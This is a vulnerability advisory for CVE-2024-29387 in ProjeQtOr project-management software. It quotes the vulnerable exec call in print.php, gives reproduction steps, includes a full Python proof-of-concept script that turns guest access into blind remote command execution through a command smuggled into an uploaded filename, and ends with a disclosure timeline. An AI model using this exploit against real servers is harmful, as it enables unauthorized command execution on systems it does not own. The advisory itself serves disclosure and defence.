CVE-2024-29387

Advisory

Software brief introduction

ProjeQtOr is an Open Source project management software.

https://en.wikipedia.org/wiki/ProjeQtOr
https://www.projeqtor.org/en/product-en/downloads

Vulnerability description

Lowest privileged user (default guest:guest) can execute arbitrary os commands on the server running projeqtor version up to 11.2.0.

Issue

in /view/print.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
...} else  if ($pdfLib=='WkHtmlToPdf') {
$path=Parameter::getGlobalParameter('pathToWkHtmlToPdf');
$smallMargin=false;
//$htmlFile='../files/report/test.html';
//$pdfFile='../files/report/test.pdf';
chdir ("../files");
$suffix=getCurrentUserId().'_'.date('Ymd_His');
$htmlFile="pdfExport_$suffix.html";
$pdfFile="report/pdfExport_$suffix.pdf";
$exportFileName=($outputFileName)?$outputFileName:'document.pdf';
kill ($htmlFile);
writeFile($content, $htmlFile);
$options='--orientation '.(($orientation=='P')?'Portrait':'Landscape');
$options.=" --encoding 'utf-8'";
$options.=" --page-size A4";
if ($includeFile=='objectDetail.php') $options.=' --zoom 1.46';
//$options.=' --zoom '.(($smallMargin)?'1.24':'1.18');
//$options.=' --zoom '.(($smallMargin)?'1.24':'1.46');
$options.=' --title "'.basename($exportFileName).'"';
$margin=($smallMargin)?'5mm':'10mm';
$options.=" --margin-bottom $margin --margin-left $margin --margin-right $margin --margin-top $margin";
exec("\"$path\" $options $htmlFile $pdfFile");
if (ob_get_length()) {
ob_end_clean();

}

variables passed to exec seems to be not user controlled except for
$path=Parameter::getGlobalParameter('pathToWkHtmlToPdf');
We can change the global parameter in /tool/saveGlobalParameter.php :

1
2
3
4
5
6
...
require_once "../tool/projeqtor.php";
$id = RequestHandler::getValue('idData');
$value=RequestHandler::getValue('value');
Parameter::storeGlobalParameter($id, $value);
...

Steps to reproduce

  1. Login with guest:guest
  2. Change the upload directory to a known path
  3. Put the CMD in the filename of a file and upload it
  4. Set the binary path of ‘pathToWkHtmlToPdf’ to the uploaded file
  5. Trigger the print pdf and you get blind RCE

Proof of concept

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import base64
from urllib.parse import quote
import requests

inp = input("what CMD you want to execute ?: ")
b64_inp = base64.b64encode(inp.encode('utf-8')).decode('utf-8')

cmd = f"$(echo {b64_inp}|base64 -d)"
filename = f"curl localhost?a=$({cmd}|base64)"
filename_enc = quote(filename)
print("you need authenticated session so login with guest:guest, after login check the cookie in browser and provide the value of PHPSESSID (Ex: 70hnr5k6rtbo52l94smhg1j6vt)")
value = input("PHPSESSID = ")
# init
url1 = 'http://localhost/tool/saveGlobalParameter.php?idData=paramAttachmentDirectory&value=/var/www/html/files/attach'
cookies1 = {'PHPSESSID': f'{value}'}

response1 = requests.get(url1, cookies=cookies1)

# upload file with malicious filename
url2 = 'http://localhost/tool/saveAttachment.php?csrfToken='
cookies2 = {'PHPSESSID': f'{value}'}
headers2 = {
'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryftLtNEJVSgrxBZLW',
}
data2 = f'------WebKitFormBoundaryftLtNEJVSgrxBZLW\x0d\x0aContent-Disposition: form-data; name=\"attachmentFiles[]\"; filename=\"\\\";{filename}; echo \\\"\"\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a------WebKitFormBoundaryftLtNEJVSgrxBZLW\x0d\x0aContent-Disposition: form-data; name=\"attachmentId\"\x0d\x0a\x0d\x0a\x0d\x0a------WebKitFormBoundaryftLtNEJVSgrxBZLW\x0d\x0aContent-Disposition: form-data; name=\"attachmentRefType\"\x0d\x0a\x0d\x0aUser\x0d\x0a------WebKitFormBoundaryftLtNEJVSgrxBZLW\x0d\x0aContent-Disposition: form-data; name=\"attachmentRefId\"\x0d\x0a\x0d\x0a2\x0d\x0a------WebKitFormBoundaryftLtNEJVSgrxBZLW\x0d\x0aContent-Disposition: form-data; name=\"attachmentType\"\x0d\x0a\x0d\x0afile\x0d\x0a------WebKitFormBoundaryftLtNEJVSgrxBZLW\x0d\x0aContent-Disposition: form-data; name=\"MAX_FILE_SIZE\"\x0d\x0a\x0d\x0a\x0d\x0a------WebKitFormBoundaryftLtNEJVSgrxBZLW\x0d\x0aContent-Disposition: form-data; name=\"attachmentLink\"\x0d\x0a\x0d\x0a\x0d\x0a------WebKitFormBoundaryftLtNEJVSgrxBZLW\x0d\x0aContent-Disposition: form-data; name=\"attachmentDescription\"\x0d\x0a\x0d\x0a\x0d\x0a------WebKitFormBoundaryftLtNEJVSgrxBZLW\x0d\x0aContent-Disposition: form-data; name=\"attachmentPrivacy\"\x0d\x0a\x0d\x0a1\x0d\x0a------WebKitFormBoundaryftLtNEJVSgrxBZLW\x0d\x0aContent-Disposition: form-data; name=\"uploadType\"\x0d\x0a\x0d\x0ahtml5\x0d\x0a------WebKitFormBoundaryftLtNEJVSgrxBZLW--\x0d\x0a'
response2 = requests.post(url2, headers=headers2, cookies=cookies2, data=data2)


i_hash = response2.text.find('#')
i_space = response2.text.find(' ', i_hash)
ind = response2.text[i_hash + 1: i_space]
print(ind)
print("----")

# save global parameter with the path of the binary WkhtmlTopdf
url3 = f'http://localhost/tool/saveGlobalParameter.php?idData=pathToWkHtmlToPdf&value=/var/www/html/files/attach/attachment_{ind}/\"%3b{filename_enc}%3b+echo+\"'
cookies3 = {'PHPSESSID': f'{value}'}

response3 = requests.get(url3, cookies=cookies3)

# go print smthg, brrr blind rce
url4 = 'http://localhost/view/print.php?print=true&page=../report/absenceReport.php?userName=&yearSpinner=2024&context=print&objectClass=&objectId=&orientation=L&csrfToken=&outMode=pdf'
cookies4 = {'PHPSESSID': f'{value}'}

response4 = requests.get(url4, cookies=cookies4)

print(response1.text)
print(response2.text)
print(response3.text)
print(response4.text)
print("done")
print("bye")

Timeline (DD-MM-YYYY)

  • 10-01-2024: Vulnerability identified
  • 14-02-2024: 1st vendor contact attempt via email
  • 05-03-2024: 2nd vendor contact attempt via email
  • 10-03-2024: 3rd vendor contact attempt via website forum
  • 12-03-2024: CVE requested
  • 24-03-2024: CVE assigned
  • 04-04-2024: CVE request publication

Conclusion

I discovered the issue during my journey at Mazars Cybersecurity as an application security consultant. The product owner was notified following their security policy via an email and public forum of the website but didn’t respond.